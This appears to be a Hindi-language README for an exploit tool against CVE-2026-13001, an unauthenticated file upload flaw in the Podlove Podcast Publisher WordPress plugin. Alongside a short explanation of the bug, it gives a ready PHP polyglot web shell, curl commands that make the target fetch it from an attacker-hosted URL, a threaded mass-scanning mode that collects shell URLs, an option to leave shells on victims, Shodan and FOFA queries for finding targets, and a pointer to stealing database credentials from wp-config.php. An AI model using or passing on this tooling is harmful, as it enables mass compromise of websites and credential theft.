
CVE-2026-13001 के लिए एक्सप्लॉइट, जो Podlove Podcast Publisher WordPress प्लगइन में एक बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड है, जो PHP पॉलीग्लॉट अपलोड के माध्यम से रिमोट कोड निष्पादन को सक्षम बनाता है। इसमें सिंगल-टार्गेट और मास स्कैनिंग मोड शामिल हैं।
CVE-2026-13001 Podlove Podcast Publisher WordPress प्लगइन संस्करण ≤ 4.5.1 में एक गंभीर-स्तर (CVSS 9.8) बिना प्रमाणीकरण मनमाना फ़ाइल अपलोड भेद्यता है।
यह भेद्यता दो आंतरिक फ़ंक्शनों के बीच बेमेल का फायदा उठाती है जो फ़ाइल एक्सटेंशन को अलग-अलग तरीके से पार्स करते हैं:
is_image() का उपयोग करता है जिसमें → URL के रूप में दिखाई देता है ✅ (मान्य छवि)basename()shell.php?.gif.gifextract_file_extension() केवल parse_url() पथ का उपयोग करता है → .php लौटाता है → फ़ाइल .php एक्सटेंशन के साथ सहेजी जाती है 🚨हमलावर GIF89a PHP पॉलीग्लॉट (मान्य GIF हेडर + एम्बेडेड PHP) अपलोड करते हैं जो छवि सत्यापन पास करते हैं लेकिन एक्सेस करने पर PHP के रूप में निष्पादित होते हैं।
| संस्करण | स्थिति |
|---|---|
| ≤ 4.5.1 | असुरक्षित |
| 4.5.2+ | पैच किया गया |
खोजकर्ता: Talal Nasraddeen via Wordfence (जुलाई 14, 2026)
// is_image() — basename() का उपयोग करता है जिसमें क्वेरी स्ट्रिंग शामिल है
function is_image($url) {
$ext = strtolower(pathinfo(basename($url), PATHINFO_EXTENSION));
return in_array($ext, ['jpg','jpeg','png','gif','webp']);
}
// URL: https://attacker.com/shell.php?.gif
// basename() → "shell.php?.gif" → ext = "gif" ✅ बाईपास हो गया
// extract_file_extension() — केवल parse_url() पथ का उपयोग करता है
function extract_file_extension($url) {
$path = parse_url($url, PHP_URL_PATH);
return pathinfo($path, PATHINFO_EXTENSION);
}
// URL: https://attacker.com/shell.php?.gif
// parse_url() → "/shell.php" → ext = "php" 🚨 .php के रूप में सहेजा गया
1. हमलावर attacker.com/shell.php?.gif पर GIF89a PHP पॉलीग्लॉट होस्ट करता है
2. GET /?podlove_image_cache_url={hex(url)}&podlove_file_name=test
3. is_image() .gif एक्सटेंशन सत्यापित करता है → पास
4. प्लगइन फ़ाइल डाउनलोड करता है → cache/ में test_original.php के रूप में सहेजता है
5. हमलावर /wp-content/cache/podlove/{hash}/test_original.php एक्सेस करता है
6. PHP निष्पादित होता है → RCE
git clone https://github.com/shinthink/CVE-2026-13001.git
cd CVE-2026-13001
pip install -r requirements.txt
# एकल लक्ष्य
python cve_2026_13001.py -t target.com
# सामूहिक स्कैन
python cve_2026_13001.py -f targets.txt -o shells.txt
# कस्टम पेलोड URL
python cve_2026_13001.py -t target.com --payload-url https://yourserver/shell.php?.gif
# डीबग मोड, शेल छोड़ें
python cve_2026_13001.py -t target.com --debug --no-cleanup
-t, --target एकल लक्ष्य (डोमेन या IP)
-f, --file लक्ष्य सूची, प्रति पंक्ति एक
-o, --output RCE URL को फ़ाइल में सहेजें
--payload-url PHP पॉलीग्लॉट होस्ट करने वाला URL (डिफ़ॉल्ट: GitHub raw)
--threads समवर्ती कार्यकर्ता (डिफ़ॉल्ट: 30)
--no-cleanup लक्ष्य पर शेल छोड़ें
--debug हर HTTP अनुरोध दिखाएं
-v, --verbose विस्तृत आउटपुट
$ python cve_2026_13001.py -t podcast-site.com
Podlove Podcast Publisher | CVE-2026-13001 | CVSS 9.8
Host : podcast-site.com
Podlove : YES v4.5.1
Upload : YES
RCE : YES
Shell : https://podcast-site.com/wp-content/cache/podlove/a1/b2.../think_xxx_original.php?t=TOKEN
Output : uid=33(www-data) gid=33(www-data)
Time : 4.2s
Targets: 500 | Threads: 30
Payload URL: https://raw.githubusercontent.com/shinthink/payloads/main/shell.gif
[RCE] podcast-vuln-01.com https://podcast-vuln-01.com/wp-content/cache/podlove/...
[150/500] 30% | Det:42 RCE:8
चरण 1 — पॉलीग्लॉट शेल होस्ट करें
// shell.php — अपने सर्वर पर सहेजें और होस्ट करें
GIF89a<?php system($_GET['c']); ?>
चरण 2 — बाईपास के साथ URL को हेक्स-एनकोड करें
# URL: https://attacker.com/shell.php?.gif
echo -n "https://attacker.com/shell.php?.gif" | xxd -p | tr -d '\n'
चरण 3 — कैश डाउनलोड ट्रिगर करें
curl 'https://target.com/?podlove_image_cache_url=68747470733a2f2f...&podlove_file_name=shell&podlove_width=100&podlove_height=100&podlove_crop=0'
चरण 4 — शेल एक्सेस करें
# पथ: wp-content/cache/podlove/{h[:2]}/{h[2:]}/{name}_original.php
curl 'https://target.com/wp-content/cache/podlove/a1/b2c3.../shell_original.php?c=id'
FOFA: body="podlove-podcasting-plugin-for-wordpress"
Shodan: http.html:"podlove"
सफल शोषण वेब सर्वर उपयोगकर्ता के रूप में दूरस्थ कोड निष्पादन देता है:
wp-config.php निकालें → डेटाबेस क्रेडेंशियलकेवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए।
लेखक दुरुपयोग के लिए कोई दायित्व नहीं मानते हैं।
| संसाधन | लिंक |
|---|---|
| Wordfence सलाह | wordfence.com |
| Podlove सुरक्षा रिलीज़ | podlove.org |
| NVD प्रविष्टि | CVE-2026-13001 |
| शोधकर्ता | Talal Nasraddeen |
Podlove से संबद्ध नहीं।